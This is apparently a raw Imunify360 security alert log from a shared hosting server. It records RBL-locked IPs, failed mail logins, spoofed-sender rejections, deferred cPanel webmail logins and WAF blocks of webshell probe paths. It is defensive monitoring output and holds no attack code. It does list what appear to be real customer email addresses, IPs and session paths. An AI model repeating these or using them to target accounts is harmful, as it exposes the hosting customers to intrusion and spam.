2026-01-27 13:50:54 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:35858: 535 Incorrect authentication data (set_id=no-reply@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 27 13:53:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.210
country_id: 1269750
description:
Jan 27 13:53:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.2
country_id: 3469034
description:
Jan 27 13:53:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 27 13:53:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.68
country_id: 3175395
description:
Jan 27 13:54:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.68
country_id: 3175395
description:
Jan 27 13:55:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 13:55:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.33.144.200
country_id: 2017370
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2016/11/slide2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.39
country_id: 3469034
description:
Jan 27 13:58:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.78
country_id: 3175395
description:
Jan 27 13:59:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.77.11
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/penstock-rollergate-stoplog.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-27 14:00:01 +0800] info [webmaild] 219.95.228.51 - support@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.60.254
country_id: 798544
description:
Jan 27 14:00:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.60.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.250
country_id: 953987
description:
Jan 27 14:00:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:01:50 H=([45.144.212.242]) [45.144.212.242]:52448 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:02:05 H=([77.83.39.61]) [77.83.39.61]:58246 F=<oelho@projectbr.com> rejected RCPT <admin@agsaintifik.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 14:02:12 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:02:28 H=([45.144.212.242]) [45.144.212.242]:65535 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-27 14:03:26 +0800] info [webmaild] 219.95.228.51 - info@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:03:44 H=([77.83.39.61]) [77.83.39.61]:55977 F=<oelho@projectbr.com> rejected RCPT <alex_santiago@ajplantations.com.my>: No Such User Here"


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9683: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:06:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14669: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.12
country_id: 2510769
description:
Jan 27 14:06:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.12
country_id: 2510769
description:
Jan 27 14:07:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.141.14
country_id: 3608932
description:
Jan 27 14:07:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.141.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.100
country_id: 6251999
description:
2026-01-27 14:08:07 dovecot_plain authenticator failed for H=([10.1.18.49]) [212.56.49.100]:2362: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:10:04 H=([77.83.39.61]) [77.83.39.61]:53080 F=<oelho@projectbr.com> rejected RCPT <chewkc@ajplantations.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:12:44 H=([45.144.212.242]) [45.144.212.242]:59097 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.168
country_id: 3865483
description:
Jan 27 14:13:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.125
country_id: 6290252
description:
Jan 27 14:13:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.95
country_id: 3175395
description:
Jan 27 14:13:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.95
country_id: 3175395
description:
Jan 27 14:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.125
country_id: 6290252
description:
Jan 27 14:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:14:38 H=([77.83.39.61]) [77.83.39.61]:60253 F=<oelho@projectbr.com> rejected RCPT <fadilah@pspoly.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 14:16:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57576: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:16:17 H=([77.83.39.61]) [77.83.39.61]:49231 F=<oelho@projectbr.com> rejected RCPT <garylee@autogreastar.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 14:19:40 H=([45.144.212.44]) [45.144.212.44]:64160 F=<ftirado@atom-spain.com> rejected RCPT <francis@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 14:21:52 H=([104.37.174.67]) [104.37.174.67]:54600 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <cklee@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.25
country_id: 3077311
description:
Jan 27 14:24:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.18.50
country_id: 3469034
description:
Jan 27 14:24:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.18.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.18.50
country_id: 3469034
description:
Jan 27 14:25:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.18.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:25:41 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:26:21 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:27:39 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.254
country_id: 2300660
description:
Jan 27 14:28:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.101.164
country_id: 1733045
description:
[2026-01-27 14:28:01 +0800] info [webmaild] 183.171.101.164 - rabileh@tujusetia.my "GET /cpsess7066048582/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769495281987&_=1769411043771 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:28:04 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:29:21 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess5957965370/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.121
country_id: 732800
description:
Jan 27 14:29:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.183.39.72
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=602659 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.99.78.0
country_id: 1643084
description:
2026-01-27 14:30:05 dovecot_plain authenticator failed for H=(L7V1JJ7) [118.99.78.0]:27977: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:30:22 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess5957965370/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 27 14:31:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.146
country_id: 953987
description:
Jan 27 14:31:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 14:31:05 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess3817095794/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.14.36
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20351523583914 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9690: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.189
country_id: 3865483
description:
Jan 27 14:34:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14682: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.85
country_id: 3469034
description:
Jan 27 14:35:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.47.222.33
country_id: 3469034
description:
Jan 27 14:35:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.47.222.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.55.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-36.142.111.55.56||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.79.194
country_id: 3686110
description:
Jan 27 14:38:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.79.194 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/survey-meter/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.24.86
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=794941 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.224
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.196.192
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 14:43:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 14:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57622: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.56
country_id: 3469034
description:
Jan 27 14:45:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.174.180.151
country_id: 3057568
description:
Jan 27 14:46:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.174.180.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.150
country_id: 3175395
description:
Jan 27 14:46:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.63
country_id: 953987
description:
Jan 27 14:46:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.63
country_id: 953987
description:
Jan 27 14:47:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 4.240.72.122
country_id: 1269750
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162746.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.147.141
country_id: 1562822
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162608.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.105.223.161
country_id: 690791
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207160215.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.230.249
country_id: 3686110
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207165858.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.104.115
country_id: 3865483
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/106207162406.gif HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.239
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.235
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/all.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.52.208
country_id: 3658394
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/mutiara-central/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.163
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.155
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.211
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.146
country_id: 1880251
domain: tujusetia.my
description:
